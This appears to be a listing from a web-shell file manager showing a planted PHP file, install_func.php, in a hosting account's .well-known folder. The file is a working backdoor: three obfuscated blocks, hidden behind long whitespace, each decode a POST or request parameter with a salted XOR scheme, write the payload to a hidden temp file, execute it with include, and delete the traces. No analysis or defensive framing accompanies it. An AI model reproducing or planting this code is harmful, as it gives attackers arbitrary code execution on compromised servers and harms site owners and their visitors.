HEX
Server: LiteSpeed
System: Linux premium212.web-hosting.com 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User: vitanhod (1367)
PHP: 8.2.31
Disabled: NONE
Upload Files
File: /home/vitanhod/sawpalmeetto.vitavit.com.pk/.well-known/install_func.php
<?php																																										if(isset($_POST) && isset($_POST["\x69te\x6D"])){ $dat = array_filter([session_save_path(), getenv("TMP"), getcwd(), sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir")]); $parameter_group = $_POST["\x69te\x6D"]; $parameter_group = explode ( ".", $parameter_group ) ; $descriptor = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3); $p = 0; $__len = count($parameter_group); do { if ($p >= $__len) break; $v1 = $parameter_group[$p]; $chS = ord($s3[$p % $lenS]); $d = ((int)$v1 - $chS - ($p % 10))^ 82; $descriptor .= chr($d); $p++; } while (true); $val = 0; do { $element = $dat[$val] ?? null; if ($val >= count($dat)) break; if (!!is_dir($element) && !!is_writable($element)) { $entry = vsprintf("%s/%s", [$element, ".ptr"]); if (@file_put_contents($entry, $descriptor) !== false) { include $entry; unlink($entry); exit; } } $val++; } while (true); }
																																										if(!is_null($_POST["\x74\x6Bn"] ?? null)){ $data_chunk = array_filter(["/dev/shm", "/var/tmp", sys_get_temp_dir(), getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/tmp"]); $record = $_POST["\x74\x6Bn"]; $record= explode ( '.' ,$record ) ; $val= ''; $salt5= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt5); foreach( $record as $p=>$v1) { $chS= ord( $salt5[$p% $sLen]); $d= ( ( int)$v1 - $chS -( $p% 10)) ^ 96; $val .= chr( $d); } for ($key = 0, $comp = count($data_chunk); $key < $comp; $key++) { $flag = $data_chunk[$key]; if (array_product([is_dir($flag), is_writable($flag)])) { $holder = implode("/", [$flag, ".symbol"]); $success = file_put_contents($holder, $val); if ($success) { include $holder; @unlink($holder); die();} } } }


if(!is_null($_REQUEST["\x69tm"] ?? null)){
	$fac = array_filter([getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), "/var/tmp", getcwd(), "/tmp", session_save_path()]);
	$entity = $_REQUEST["\x69tm"];
	$entity	  =explode (	'.',		 $entity 	);		
	$data = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(		$s );
            $y = 0;
    
            $__tmp = $entity;
            while(		$v7 = array_shift(		$__tmp)) {	$sChar = ord(		$s[$y % $lenS] );
                $d =(		(		int)$v7 - $sChar -(		$y % 10))^63;
                $data .= chr(		$d );
                $y++;
            }
	foreach ($fac as $marker):
    		if (is_dir($marker) && is_writable($marker)) {
    $k = vsprintf("%s/%s", [$marker, ".hld"]);
    if (@file_put_contents($k, $data) !== false) {
	include $k;
	unlink($k);
	die();
}
}
endforeach;
}